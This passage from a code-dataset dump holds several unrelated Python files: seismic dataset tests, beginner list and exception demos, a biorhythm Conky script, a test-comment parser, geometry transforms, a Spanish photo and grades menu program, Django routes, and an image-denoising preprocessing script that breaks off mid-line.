dataset = create_seismic_dataset(\n twt=100, depth=None, cdp=1000, iline=None, xline=None, offset=o\n )\n assert len(dataset.dims) == 3\n\n @given(integers(0, 10000), integers(0, 100000), integers(0, 100000))\n def test_create_3D_seismic_dataset_with_integers(self, s, i, x):\n dataset = create_seismic_dataset(\n twt=None, depth=s, cdp=None, iline=i, xline=x, offset=None\n )\n assert len(dataset.dims) == 3\n assert dataset.dims[\"depth\"] == s\n\n @given(\n arrays(float, shape=integers(0, 10000), elements=floats(-1000, 1000)),\n integers(0, 10000),\n )\n def test_create_2D_seismic_dataset_with_arrays(self, a, t):\n dataset = create_seismic_dataset(\n twt=a, depth=None, cdp=t, iline=None, xline=None, offset=None\n )\n assert len(dataset.dims) == 2\n assert dataset.dims[\"twt\"] == len(a)\n\n @given(integers(0, 100))\n @settings(max_examples=10)\n def test_create_2D_seismic_dataset_with_multiple_dimensions(self, d):\n dims = {str(i): i for i in range(d)}\n dataset = create_seismic_dataset(\n twt=100, depth=None, cdp=1000, iline=None, xline=None, offset=None, **dims\n )\n assert len(dataset.dims) == d + 2\n\n def test_mutally_not_allowed_arguments(self):\n with pytest.raises(ValueError):\n ds = create_seismic_dataset(cdp=100, iline=100, xline=100)\n\n with pytest.raises(ValueError):\n ds = create_seismic_dataset(cdp=100, iline=100)\n\n with pytest.raises(ValueError):\n ds = create_seismic_dataset(cdp=100, xline=100)\n\n def test_mutually_required_arguments(self):\n\n with pytest.raises(ValueError):\n ds = create_seismic_dataset(iline=100)\n\n with pytest.raises(ValueError):\n ds = create_seismic_dataset(xline=100)\n\n\nclass TestCreate2DDataset:\n \"\"\"\n Test creating 2D datasets with various shapes\n \"\"\"\n\n @given(integers(1, 10000), integers(0, 100), integers(1, 100))\n def test_create_2D_dataset_custom_sampling(self, s, f, r):\n dataset = create2d_dataset(\n dims=(100, s), first_sample=f, sample_rate=r, vert_domain=\"TWT\"\n )\n assert dataset.twt.data.max() == f + s * r - r\n\n @given(integers(1, 10000), integers(0, 100), integers(1, 100))\n def test_create_2D_dataset_custom_cdp(self, t, f, s):\n dataset = create2d_dataset(dims=(t, 100), first_cdp=f, cdp_step=s)\n assert dataset.cdp.data.max() == f + s * t - s\n\n @given(integers(1, 10000), integers(0, 100), integers(1, 100), integers(0, 50))\n def test_create_2D_dataset_wfirstoffset(self, s, f, r, o):\n dataset = create2d_dataset(\n dims=(100, s, 5),\n first_cdp=f,\n cdp_step=s,\n sample_rate=r,\n first_offset=o,\n offset_step=10,\n )\n assert dataset.offset.data.max() == 4 * 10 + o\n\n\nclass TestCreate3DDataset:\n \"\"\"\n Test creating 3D datasets with various shapes\n \"\"\"\n\n @given(\n tuples(integers(1, 10000), integers(1, 10000), integers(0, 1000)),\n sampled_from(list(VerticalUnits)),\n )\n def test_create_full_stack_dataset(self, d, u):\n dataset = create3d_dataset(dims=d, vert_units=u)\n assert dataset.d3_domain == \"TWT\"\n assert dataset.measurement_system == u\n\n @given(\n integers(15, 60),\n floats(0, 15),\n floats(1, 15),\n sampled_from([\"TWT\", \"twt\", \"DEPTH\", \"depth\"]),\n )\n def test_create_angle_stack_dataset(self, o, f, s, d):\n dataset = create3d_dataset(\n (1000, 1000, 100, o), first_offset=f, offset_step=s, vert_domain=d\n )\n assert dataset.d3_domain == d.upper()\n assert len(dataset.dims) == 4\n","repo_name":"trhallam/segysak","sub_path":"tests/test_seismic_dataset.py","file_name":"test_seismic_dataset.py","file_ext":"py","file_size_in_byte":6149,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"32"} +{"seq_id":"3526773695","text":"def findReciprocal(Value):\r\n try:\r\n print(\"Value:-\", Value)\r\n r =1/Value\r\n print(\"The reciprocl of\",Value,\"is\",r,\"\\n\")\r\n\r\n except:\r\n print(\"you cannt find reciprocal of \",Value,\"\\n\")\r\n\r\n\r\nfindReciprocal(\"hello\")\r\nfindReciprocal(2)","repo_name":"Abhishek6625/python","sub_path":"try.py","file_name":"try.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"31942370719","text":"# 获取列表的一些基本信息\n\nlist1 = [9, 1, -4, 3, 7, 11, 3]\n\n#print('list1 =', len(list1))\n#print('list1.Max=', max(list1))\n#print('list1.Min=', min(list1))\n# print('list1.3={}'.format(list1.count(3)))\n\n# append 结尾插入\n# insert 中间插入\n# remove 删除\n# reverse 翻转\n# sort 排序 (不改为正序,reverse为倒序)\n\n\n# 列表的改变\n\nlist2 = ['a', 'c', 'd']\n\n# 给list2结尾添加一个新元素 'e'\nlist2.append('e')\n#print('list2=', list2)\n\n\n# 在list2的'a'和'c'之间插入一个 'b'\nlist2.insert(1, 'b')\n#print('list2=', list2)\n\n# 删除list2里的'b'\nlist2.remove('b')\n#print('list2=', list2)\n\n\n# 更改元素\nlist2[0] = '1'\n#print('list2=', list2)\n\n\n#a = '123'\n#a[0] = 'a'\n#a = 'abc'\n\n\n# 列表翻转\nlist3 = [1, 2, 3]\nlist3.reverse()\n#print('list3=', list3)\n\n\n# 列表排序\n\nlist4 = [9, 1, -4, 3, 7, 11, 3]\nlist4.sort(reverse=True)\n#print('list4=', list4)\n\n\nlist5 = [1, 'a', 3, [1, 2], 'c']\n\n# print(max(list5))\nprint(format(list5.count(1)))\nlist5.append('b')\nlist5.insert(1, 2)\nlist5.remove('b')\nlist5[2] = 3\nlist5[3] = 4\n\nlist5.reverse() # 先排字符串>列表>整数\n# list5.sort(reverse=True) 无法倒序\nprint(list5)\n","repo_name":"op5280546/Python-Test","sub_path":"列表和元組/list_methods.py","file_name":"list_methods.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"296008374","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nShow biorhythm warnings like the KOSMOS-1 calculator with Conky\nP: physical\nE: emotional\nI: intellectual\n\n2013-08-23\n\nRed: critical days\nOrange: mini-critical days\nSee http://decodesystems.com/kosmos-1.html\n\nDominant cycle is shown in parentheses.\n\nargument 1: number of days in advance (today = 0)\n\n\"\"\"\n\ndd,mm,yy=1,1,1990\n\nfrom datetime import date\nfrom sys import argv\nfrom math import sin,pi\n\nt0 = date(yy,mm,dd).toordinal()\nt1 = date.today().toordinal()\n\nwa=(\n((1,12,13),(7,18)),\n((1,15),(8,22)),\n((1,17,18),(9,26))\n)\n\ns = {'_': '${color green}●${color}', 'y': '${color yellow}●${color}', 'r': '${color red}●${color}'}\n\nout = \"\"\n\nt = t1 + int(argv[1])\n\nw = ['_','_','_']\no = ['*','*','*']\nperc = [0,0,0]\nfor c in range(3):\n p = 23+5*c\n perc[c] = 100.*sin(2*pi*(t-t0)/p)\n v = ((t-t0) % p)+1\n if (v-1) <= p/2:\n o[c] = 'H'\n if (v-1) >= p/2:\n o[c] = 'T'\n if v in wa[c][0]:\n w[c] = 'r'\n o[c] = 'K'\n if v in wa[c][1]:\n w[c] = 'y'\nfor x in w:\n out += s[x] + ' '\nfor x in o:\n out += x + ' '\n\nif perc[0]>perc[1] and perc[0]>perc[2]:\n out += '(P)'\nelif perc[1]>perc[0] and perc[1]>perc[2]:\n out += '(E)'\nelse:\n out += '(I)'\n\nprint(out)\n","repo_name":"trivedisorabh/PyoRhythm","sub_path":"conky/bioconky.py","file_name":"bioconky.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"70883799132","text":"import re\nimport yaml\n\nMF_ID_KEYWORD = \"MF\"\nMF_COMMENT_KEYWORD = \"Comment\"\nMF_SIGNATURE = \"#MF:\"\nMF_PATTERN = re.compile(\"([ \\t]*#MF:.*(\\r\\n?|\\n)([ \\t]*#([^M][^F][^:])?.*(\\r\\n?|\\n))*)\")\n\ndef occurence_ranges(occs, text):\n pairs = []\n for occ in occs:\n pos = text.find(occ, pairs[-1][-1] if len(pairs) > 0 else None)\n if pos >= 0:\n pairs.append((pos, pos+len(occ)))\n return pairs\n\ndef line_ranges(text):\n return occurence_ranges(text.splitlines(True), text)\n\ndef pattern_occurences(regexp, text):\n def filter_tuples(match):\n if isinstance(match, tuple):\n return match[0]\n return match\n\n matches = map(filter_tuples,regexp.findall(text))\n return occurence_ranges(matches, text)\n\nclass InplaceMustfailParser(object):\n \"\"\"\n MF is the commented YAML text, having the following convention:\n MF - field for MF id\n Comment - field for comments\n Other fields may be introduced in later versions\n\n Example 1:\n #MF: BUG-45\n #Comment: |\n # first line of comment\n # last line\n\n Example 2:\n #MF: http://mybugtracker/ID33\n #Comment: bla bla bla\n \"\"\"\n\n def __init__(self, feature):\n self.feature_text = feature.original_string\n self.mf_occs = pattern_occurences(MF_PATTERN, feature.original_string)\n self.line_occs = line_ranges(feature.original_string)\n self.linenum2mf = self.__map_lines_mfs()\n self.mf_dict = self.__as_dict(feature)\n\n def __map_lines_mfs(self):\n def mf_on_line(mf, line):\n line_start, line_end = line\n mf_start, mf_end = mf\n mf_end = mf_end if mf_start == mf_end else mf_end-1\n return line_start <= mf_end < line_end\n\n nline2mf = {}\n try:\n nlines = enumerate(self.line_occs)\n n, line = next(nlines)\n for mf in self.mf_occs:\n while True:\n if mf_on_line(mf, line):\n nline2mf[n+1] = mf\n break\n n, line = next(nlines)\n except StopIteration:\n pass\n return nline2mf\n\n def __len__(self):\n return len(self.mf_dict)\n\n def __item_under_mf(self,linenum):\n return (linenum-1) in self.linenum2mf\n\n def __mf_text_for_line(self, linenum):\n start, end = self.linenum2mf[linenum-1]\n return self.feature_text[start:end]\n\n def __create_mf_item(self, pattern, mf_text, linenum):\n text = mf_text.replace(\"#\", \"\")\n d = yaml.load(text)\n result = {'pattern' : pattern}\n if MF_ID_KEYWORD in d:\n result[\"id\"] = d[MF_ID_KEYWORD]\n if MF_COMMENT_KEYWORD in d:\n result['comment'] = d[MF_COMMENT_KEYWORD]\n result['line'] = linenum\n return result\n\n def __check_add_mf(self, linenum, name, lst_to_add):\n if self.__item_under_mf(linenum):\n lst_to_add.append(\n self.__create_mf_item('.*?{name}.*?'.format(name=name),\n self.__mf_text_for_line(linenum),\n linenum))\n\n def as_dict(self):\n return self.mf_dict\n\n def __as_dict(self, feature):\n mf = {}\n mf_scenarios = []\n mf_steps = []\n mf_features = []\n\n self.__check_add_mf(feature.described_at.line, feature.name, mf_features)\n\n for scenario in feature.scenarios:\n self.__check_add_mf(scenario.described_at.line, scenario.name, mf_scenarios)\n for step in scenario.steps:\n self.__check_add_mf(step.described_at.line, step.sentence, mf_steps)\n\n if len(mf_features) > 0:\n mf['features'] = mf_features\n if len(mf_scenarios) > 0:\n mf['scenarios'] = mf_scenarios\n if len(mf_steps) > 0:\n mf['steps'] = mf_steps\n\n return {'MustFail': mf} if len(mf) > 0 else {}\n\n","repo_name":"griddynamics/bunch","sub_path":"lettuce_bunch/mustfail.py","file_name":"mustfail.py","file_ext":"py","file_size_in_byte":3925,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"38919071332","text":"# https://programmers.co.kr/learn/courses/30/lessons/12951\n# JadenCase 문자열 만들기\n\ndef solution(s):\n s = list(s)\n start = 0\n \n for i in range(len(s)):\n if start == 0 and s[i].isalpha():\n s[i] = s[i].upper()\n elif s[i].isalpha():\n s[i] = s[i].lower()\n if s[i] == \" \":\n start = 0\n else:\n start = start + 1\n\n return \"\".join(s)","repo_name":"miche715/Programmers-Algorithm","sub_path":"python/p_12951.py","file_name":"p_12951.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32756154905","text":"from functools import partial\n\ntry:\n from shapely.geometry import mapping, shape\n from shapely.geos import TopologicalError\nexcept ImportError:\n pass\ntry:\n import numpy as np\nexcept ImportError:\n pass\ntry:\n import visvalingamwyatt as vw\nexcept ImportError:\n pass\n\n\ndef clipper(bbox):\n \"\"\"\n Create a clipping function for a given bounding box.\n\n Args:\n bbox (tuple): bounding box\n\n Returns:\n function that will given geometries to input bounding box\n \"\"\"\n minx, miny, maxx, maxy = bbox\n bounds = {\n \"type\": \"Polygon\",\n \"coordinates\": [[(minx, miny), (minx, maxy), (maxx, maxy), (maxx, miny), (minx, miny)]],\n }\n try:\n bbox_shape = shape(bounds)\n\n def func(geometry):\n # This is technically only needed in Py3, but whatever.\n try:\n clipped = bbox_shape.intersection(shape(geometry))\n except (ValueError, TopologicalError):\n return geometry\n\n return mapping(clipped)\n\n except NameError:\n\n def func(geometry):\n return geometry\n\n return func\n\n\ndef clip(geometry, bounds):\n \"\"\"\n Clip a geometry to a bounding box. Equivalent to calling clipper(bounds)(geometry).\n\n Args:\n geometry (dict): geometry object\n bounds (tuple): bounding box\n\n Returns:\n (dict) geometry\n \"\"\"\n try:\n return clipper(bounds)(geometry)\n\n except NameError:\n return geometry\n\n\ndef simplifier(ratio):\n \"\"\"\n Create a simplification function, if visvalingamwyatt is available.\n Otherwise, return a noop function.\n\n Args:\n ratio (int): Between 1 and 99\n\n Returns:\n simplification function\n \"\"\"\n try:\n # put this first to get NameError out of the way\n simplify = vw.simplify_geometry\n\n if ratio is None or ratio >= 100 or ratio < 1:\n raise SvgisError(\"Invalid ratio\")\n\n return partial(simplify, ratio=ratio / 100.0)\n\n except (TypeError, ValueError, NameError):\n return None\n\n\ndef scale(coordinates, scalar=1):\n '''Scale a list of coordinates by a scalar. Only use with projected coordinates'''\n try:\n try:\n arr = np.array(coordinates, dtype=float)\n\n except TypeError:\n arr = np.array(list(coordinates), dtype=float)\n\n return arr * scalar\n\n except NameError:\n if isinstance(coordinates, tuple):\n return [coordinates[0] * scalar, coordinates[1] * scalar]\n\n return [(c[0] * scalar, c[1] * scalar) for c in coordinates]\n\n\ndef scale_rings(rings, factor=1):\n \"\"\"Apply scale() to a list of rings.\"\"\"\n return [scale(ring, factor) for ring in rings]\n\n\ndef scale_geom(geom, factor=1):\n \"\"\"\n Scale a geometry by a given factor\n\n Args:\n geom (dict): geojson-like dict\n factor (numeric): scale factor, default: 1\n \"\"\"\n if geom['type'] == 'MultiPolygon':\n geom['coordinates'] = [scale_rings(rings, factor) for rings in geom['coordinates']]\n\n elif geom['type'] in ('Polygon', 'MultiLineString'):\n geom['coordinates'] = scale_rings(geom['coordinates'], factor)\n\n elif geom['type'] in ('MultiPoint', 'LineString'):\n geom['coordinates'] = scale(geom['coordinates'], factor)\n\n elif geom['type'] == 'Point':\n geom['coordinates'] = scale(geom['coordinates'], factor)\n\n elif geom['type'] == 'GeometryCollection':\n geom['geometries'] = [scale_geom(i) for i in geom['geometries']]\n\n else:\n raise NotImplementedError(f\"Unsupported geometry type: {geom['type']}\")\n\n return geom\n","repo_name":"fitnr/svgis","sub_path":"src/svgis/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"32"} +{"seq_id":"1961992544","text":"############################################################################################################################\n#PROGRAMA DE FOTOGRAFIAS\nimport re\ndef Fotografias():\n total = 0\n\n print(\"\\n######################################\\n#Bienvenido Al Sistema De Fotografias#\\n######################################\\n\")\n \n Cantidad_Fotos = int(input(\"\\nIngrese La Cantidad De Fotografias\\n\"))\n\n Tipo_Fotografia = input(\"\\nTipo de fotografía: a)Blanco y negro b)Color\\n\")\n Tipo_Fotografia = Tipo_Fotografia.upper()\n\n Tamaño_Foto = int(input(\"\\nTamaño de las fotografías: 1.-4 x 6 2.-6x8 3.-8x10 4.-10x12\\n\"))\n\n #EVALUAMOS SI EL TIPO DE LA FOTOGRAFIA ES A BLANCO Y NEGRO\n if Tipo_Fotografia == \"A\":\n \n #EVALUAMOS EL TAMAÑO DE LA FOTOGRAFIA SI SELECCIONA UNA OPCION NO DISPONIBLE MOSTRARA UN MENSAJE AL USUARIO\n if Tamaño_Foto == 1: \n total = (1.5 * Cantidad_Fotos)\n \n elif Tamaño_Foto == 2:\n total = (3.0 * Cantidad_Fotos)\n \n elif Tamaño_Foto == 3:\n total = (5.5 * Cantidad_Fotos)\n \n elif Tamaño_Foto == 4: \n total = (10.0 * Cantidad_Fotos)\n \n else:\n print(\"Opcion Seleccionada No Disponible\")\n\n #EVALUAMOS SI EL TIPO DE LA FOTOGRAFIA ES A COLOR\n elif Tipo_Fotografia == \"B\":\n\n #EVALUAMOS EL TAMAÑO DE LA FOTOGRAFIA SI SELECCIONA UNA OPCION NO DISPONIBLE MOSTRARA UN MENSAJE AL USUARIO\n if Tamaño_Foto == 1: \n total = (5.5 * Cantidad_Fotos)\n \n elif Tamaño_Foto == 2:\n total = (12.0 * Cantidad_Fotos)\n \n elif Tamaño_Foto == 3:\n total = (15.0 * Cantidad_Fotos)\n \n elif Tamaño_Foto == 4: \n total = (18.5 * Cantidad_Fotos)\n \n else:\n print(\"Opcion Seleccionada No Disponible\")\n\n #SI NO ES NI A BLANCO Y NEGRO NI A COLOR MOSTRARA MENSAJE DE OPCION NO DISPONIBLE\n else:\n print(\"Opcion Seleccionada No Disponible\") \n\n servicio = input(\"\\n¿El Servicio Será Impreso o por correo electrónico? [I / C]?:\\n\")\n servicio = servicio.upper()\n\n\n if servicio == \"I\":\n total = total + (total * 0.15)\n print(f\"TOTAL a pagar: $ {total} pesos\\n\") \n elif servicio == \"C\":\n \n #EVALUAMOS MEDIANTE EXPRESIONES REGULARES HACIENDO USO DE LA LIBRERIA \"re\" si la estructura corresponde a la de un correo electronico si no muestra un mensaje de correo no valido y solicita de nuevo el correo\n while True:\n print(\"\\nFavor de indicar el correo de envío:\\n\") \n correo = input()\n if re.match('^[(a-z0-9\\_\\-\\.)]+@[(a-z0-9\\_\\-\\.)]+\\.[(a-z)]{2,15}$',correo.lower()):\n print(f\"\\nLa Direccion De Correo A La Que Se enviara es: {correo}\")\n print(f\"\\nTOTAL a pagar: $ {total} pesos\\n\")\n else:\n print (\"*** DIRECCIóN DE CORREO NO VÁLIDA ***\")\n if re.match('^[(a-z0-9\\_\\-\\.)]+@[(a-z0-9\\_\\-\\.)]+\\.[(a-z)]{2,15}$',correo.lower()):break \n#######################################################################################################################################\n#PROGRAMA DE CALIFICACIONES\ndef Calificaciones(estudiantes):\n\n #VARIABLE PARA GUARDAR LAS CALIFICACIONES DE LOS ALUMNOS\n calificacion = 0\n\n #VARIABLES DE ACUMULACION PARA GUARDAR LA CANTIDAD DE ALUMNOS CON ESTA CALIFICACION\n calificaciones7 = 0\n calificaciones8 = 0\n calificaciones9 = 0\n calificaciones10 = 0\n\n #VARIABLES DE ACUMULACION PARA LOS ALUMNOS QUE APROBARON Y LOS QUE NO\n estudiantes_aprobados = 0\n estudiantes_reprobados = 0\n\n #VARIABLES PARA GRAFICAR SI EL USUARIO SELECCIONA LA OPCION \n A = \"\"\n R = \"\"\n \n\n#MEDIANTE ESTE CICLO FOR LLENAMOS EL ARREGLO CON LAS CALIFICACIONES DE LOS ALUMNOS Y ACUMULAMOS LOS ESTUDIANTES APROBADOS Y REPROBADOS\n for i in range(estudiantes):\n calificacion = int(input(f\"\\nIngrese la Calificacion N° {i + 1}\\n\" )) \n if calificacion >= 7:\n estudiantes_aprobados = estudiantes_aprobados + 1\n if calificacion == 7:\n calificaciones7 = calificaciones7 + 1\n if calificacion == 8:\n calificaciones8 = calificaciones8 + 1\n if calificacion == 9:\n calificaciones9 = calificaciones9 + 1 \n if calificacion == 10:\n calificaciones10 = calificaciones10 + 1 \n else:\n estudiantes_reprobados = estudiantes_reprobados + 1\n\n print(f\"\\nEstudiantes con una calificación de 7: {calificaciones7}\")\n print(f\"Estudiantes con una calificación de 8: {calificaciones8}\")\n print(f\"Estudiantes con una calificación de 9: {calificaciones9}\")\n print(f\"Estudiantes con una calificación de 10: {calificaciones10}\")\n\n print(f\"\\nEstudiantes Que Reprobaron: {estudiantes_reprobados}\\nEstudiantes Que Aprobaron: {estudiantes_aprobados}\")\n \n graficar = input(\"\\n¿Desea Graficar Los Resultados S/N?:\\n\")\n graficar = graficar.upper()\n\n if graficar == \"S\":\n for i in range (estudiantes_aprobados):\n A = A + \"**\"\n \n for i in range (estudiantes_reprobados):\n R = R + \"**\"\n\n print(f\"\\n--------GRÁFICA---------\\nA {A}\\nR {R}\\n\")\n import matplotlib.pyplot as plt\n import numpy as np\n\n #HACEMOS USO DE NUMPY MEDIANTE INTERFAZ GRAFICA SE MUESTRA UN GRAFICO CON LOS ALUMNOS QUE SACARON CALIFICACION DE 7,8,9 Y 10\n #ARREGLO con las calificaciones como string\n calificacionestxt = ['Calificacion 7', 'Calificacion 8', 'Calificacion 9', 'Calificacion 10']\n #ARREGLO con la calificacion como entero\n calificacionesval = [calificaciones7 , calificaciones8 , calificaciones9 , calificaciones10 ]\n\n fig, ax = plt.subplots()\n #Colocamos una etiqueta en el eje Y\n ax.set_ylabel('CANTIDAD DE PERSONAS')\n #Colocamos una etiqueta en el eje X\n ax.set_title('Promedio De Calificaciones APROBATORIAS')\n #Creamos la grafica de barras utilizando 'calificaciones' como eje X y 'CANTIDAD DE PERSONAS CALIFICACIONES' como eje y.\n plt.bar(calificacionestxt, calificacionesval)\n \n #mostramos la grafica con el metodo show()\n gr = plt.show()\n return gr\n else:\n print(\"Saliendo...\\n\") \n##############################################################################################################################\n#PROGRAMA PRINCIPAL\n#CREAMOS UN CICLO PARA SALIR HASTA QUE EL USUARIO SELECCIONE LA OPCION 3 O UNA OPCION DIFERENTE A LA 1 Y 2\nwhile True:\n print(\"********************************\\n***** Bienvenido Al Menu *****\\n********************************\\n1. Fotografías 2.Calificaciones 3. Salir\")\n opcion = int(input(\"Seleccione Una Opcion\\n\"))\n \n #HACEMOS EL LLAMADO A LA FUNCION DE FOTOGRAFIAS Y EJECUTA SU PROCESO\n if opcion == 1:\n Fotografias()\n #HACEMOS EL LLAMADO A LA FUNCION DE CALIFICACIONES Y EJECUTA SU PROCESO ESTA FUNCION RECIBE PARAMETROS Y RETORNA UNA VARIABLE DEPENDIENDO DE LA SELECCION DEL USUARIO\n elif opcion == 2:\n print(\"\\n#########################################\\n#Bienvenido Al Sistema De Calificaciones#\\n#########################################\\n\")\n \n estudiantes = int(input(\"Cantidad de estudiantes en el grupo:\\n\"))\n Calificaciones(estudiantes)\n #SI EL USUARIO SELECCIONA LA OPCION 3 O INGRESA UNA OPCION DIFERENTE A 1 O 2 EL PROGRAMA MOSTRARA UN MENSAJE DE SALIENDO Y FINALIZARA \n else:\n print(\"Saliendo...\")\n break ","repo_name":"MeXinuX/Calificaciones-Fotografias","sub_path":"photo&¬es.py","file_name":"photo&¬es.py","file_ext":"py","file_size_in_byte":7732,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7718342276","text":"\"\"\"Posts URL Configuration\"\"\"\n\nfrom django.urls import path\nfrom posts import views\n\nurlpatterns = [\n\n path('home/', views.HomePostsList.as_view(), name='home'),\n #path('new-post/', views.new_post, name='new-post'),\n path('new-post/', views.CreatePostView.as_view(), name='new-post'),\n path('like/', views.new_like, name='like'),\n path('/new-comment/', views.new_comment, name='new-comment'),\n #path('/comments/', views.list_comments, name='show-comments'),\n path('/comments/', views.PostDetail.as_view(), name='show-comments'),\n #path('//comments/', views.list_comments, name='show-comments-reply'),\n path('//comments/', views.PostDetail.as_view(), name='show-comments-reply'),\n path('/likes/', views.list_likes, name='show-likes'),\n path('saved_posts/', views.list_saved_posts, name='show-saved'),\n path('save_post/', views.save_post, name='save'),\n path('/delete/', views.delete_post, name='delete'),\n path('/like/', views.like_comment, name='comment-like'),\n path('/reply/', views.new_reply, name='reply'),\n path('/create-reply', views.create_reply, name='create-reply'),\n path('/reply-like/', views.like_reply, name='reply-like')\n \n]\n\n\n","repo_name":"magahu/instaclonegram","sub_path":"posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38226783779","text":"# # Data Pre-processing (This code does not need to be run!)\n\n# # Image preparation\n\n# Please note this script does not need to be run. We will provide the pre-processed images in the file named `dataset.parquet`. However, this script will provide evidence of the pre-processing steps we have \n# taken, from the source, up to the dataset export stage.\n# \n# The original dataset is available [here](http://adrianbarburesearch.blogspot.com/p/renoir-dataset.html). We have contacted the author and obtained his permission to use and share a modified copy of the data set for the purpose of this project. We have downloaded the three aligned datasets `Canon T3i`, `Canon S90`, and `Xiaomi Mi3` and saved them in a folder, please replace `ENTER_ALIGNED_PICTURES_FOLDER_HERE` with the full path of the aligned images folder on your computer.\n\nimport cv2\nimport glob\nimport tqdm\nimport os\nfrom collections import defaultdict\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport pyarrow as pa\nimport pyarrow.parquet as pq\nfrom shutil import rmtree, copyfile, copytree\nnp.random.seed(70103)\n\n### clean up the environment\n#### 1. remove the \"data directory\" and create a new one\nos.makedirs(\"data\")\n\n#### 2. remove the images in local folder\nfor file in glob.glob(\"*.png\"):\n os.remove(file)\n \n#### 3. Copy the \"Aligned\" folders in \"data\"\nfor folder in glob.glob(\"ENTER_ALIGNED_PICTURES_FOLDER_HERE/*Aligned*\"):\n copytree(folder, os.path.join(\"data\",folder.split(\"/\")[-1]))\n\n\n# ## 1. Remove irrelevant images and files\n# Remove all the objects which are not needed for the current analysis.\npicturesToRemoveList = glob.glob(\"./**/*_Aligned/**/*full*\") + glob.glob(\"./**/*_Aligned/**/Thumbs*\") + glob.glob(\"./**/*_Aligned/**/*plot*\") + glob.glob(\"./**/*_Aligned/*.txt\") + glob.glob(\"./**/*_Aligned/**/Mask*.bmp\") \nfor file in picturesToRemoveList:\n os.remove(file)\n\n# ## 2. Convert the images to grayscale and save to .png (original files are in .bmp)\n# We list up all the images in the `Mi3_Aligned`, `S90_Aligned` and `T3i_Aligned` folders, then we convert the `bmp` format into `png` and, finally, resize all the pictures to half of their dimensions in order to have more interesting data in the image patches.\npicturesList = glob.glob(\"./**/*_Aligned/**/*.bmp\")\nprint(f\"There are {len(picturesList)} images to convert\")\n\nfor image in tqdm.tqdm(picturesList):\n img = cv2.imread(image)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n ### shrink images\n gray = cv2.resize(gray, (gray.shape[1]//2,gray.shape[0]//2))\n cv2.imwrite(image.replace(\".bmp\",\".png\"),gray)\n\n\n# ## 3. Remove the .bmp pictures since they have been replaced.\npicturesToRemoveList = glob.glob(\"./**/*_Aligned/**/*.bmp\")\nfor file in picturesToRemoveList:\n os.remove(file)\n\n# ## 4. Discard some noisy images\n# We need to discard more data. Each of the subfolders contain some `Batch` folders which indicate a scene. Each scene features a *reference* (the ground truth) and some *noisy images* (input for the denoising model).\n# If there is only `1` noisy picture, this is kept. If there are `2` or more noisy pictures in the `Batch` folder, then a random number is sampled from a categorical with number of categories $k$ corresponding to the number of noisy images in the folder. Then the image corresponding to the index sampled from the categorical distribution is kept.\nfoldersToCheck = glob.glob(\"./**/**/Batch*\")\nfor folder in foldersToCheck:\n ## retrieve the noisy images from the folder\n noisy_images = glob.glob(os.path.join(folder,\"*Noisy.png\"))\n ## there must be at least a noisy image\n assert len(noisy_images)>=1\n ## if only one picture is noisy, keep it. Else, sample from categorical and remove the pictures not corresponding to the sampled index.\n if len(noisy_images)>1:\n idx = np.random.randint(len(noisy_images))\n ## remove the sampled image from the list of the pictures to delete. Send to a dummy. We don't need it.\n noisy_images.pop(idx);\n ## delete the other pictures\n for delImage in noisy_images:\n os.remove(delImage)\n\n \n### THIS PART CAN BE IGNORED BUT IS KEPT FOR REPRODUCIBILITY ##############################\ncopyfile(\"./data/Mi3_Aligned/Batch_014/IMG_20160210_062948Reference.png\", \"reference.png\")\ncopyfile(\"./data/Mi3_Aligned/Batch_014/IMG_20160210_063005Noisy.png\", \"input.png\")\nrmtree(\"./data/Mi3_Aligned/Batch_014\")\nimg = cv2.imread(\"input.png\")[:600,500:1000]\ncv2.imwrite(\"input.png\",img)\nimg = cv2.imread(\"reference.png\")[:600,500:1000]\ncv2.imwrite(\"reference.png\",img) \n###########################################################################################\n\n# ## 5. Dataset generation\nprint(f\"We now have a total of {len(glob.glob('./**/**/**/*.png'))} images\")\n\n# There are in total 240 images, of which 120 include noise and 120 do not. These images are, however, very large. We can therefore split each large image into multiple images of smaller size and square shape (the square shape is not strictly necessary, but it allows the convolutional neural network to optimize memory handling).\n# \n# The split can be done in two different ways:\n# - sliding window\n# - partitioning\n# \n# The *sliding window* method allows to obtain more smaller images from a single large image, as the smaller patches are allowed to overlap. This however can lead to issues of data leakage of the test set into the training set. *Partitioning* allows to deal with the issue by making sure that the intersection between two different patches of the image is the empty set.\n# \n# For this particular project, we decide to split each image into a `128x128` pixel patches. The remainder of the pixels at the border of the images that are too few to result in a patch are discarded.\nallImages = glob.glob(\"./**/**/**/*.png\")\nsize = 128 #set up the size to split in\nimageDictionary = defaultdict(lambda : {\"input\" : 0, \"target\" :0})\ntot_images = 0 #keep track of the total number of images\nfor image in tqdm.tqdm(allImages):\n ### set up the image in a dictionary\n flag = \"input\" if \"Noisy\" in image else \"target\"\n name = image.split(\"/\")[-3].lower() + \"_\" + image.split(\"/\")[-2].lower()\n img = cv2.imread(image, cv2.IMREAD_UNCHANGED)\n h , w = img.shape\n new_h, new_w = h//size * size , w//size * size \n imageDictionary[name][flag] = img[:new_h, :new_w].reshape(h//size, size, -1, size).swapaxes(1,2).reshape(-1,size,size)\n tot_images += imageDictionary[name][flag].shape[0]\n\nprint(f\"The total number of patches is {tot_images}\")\n\nidx = 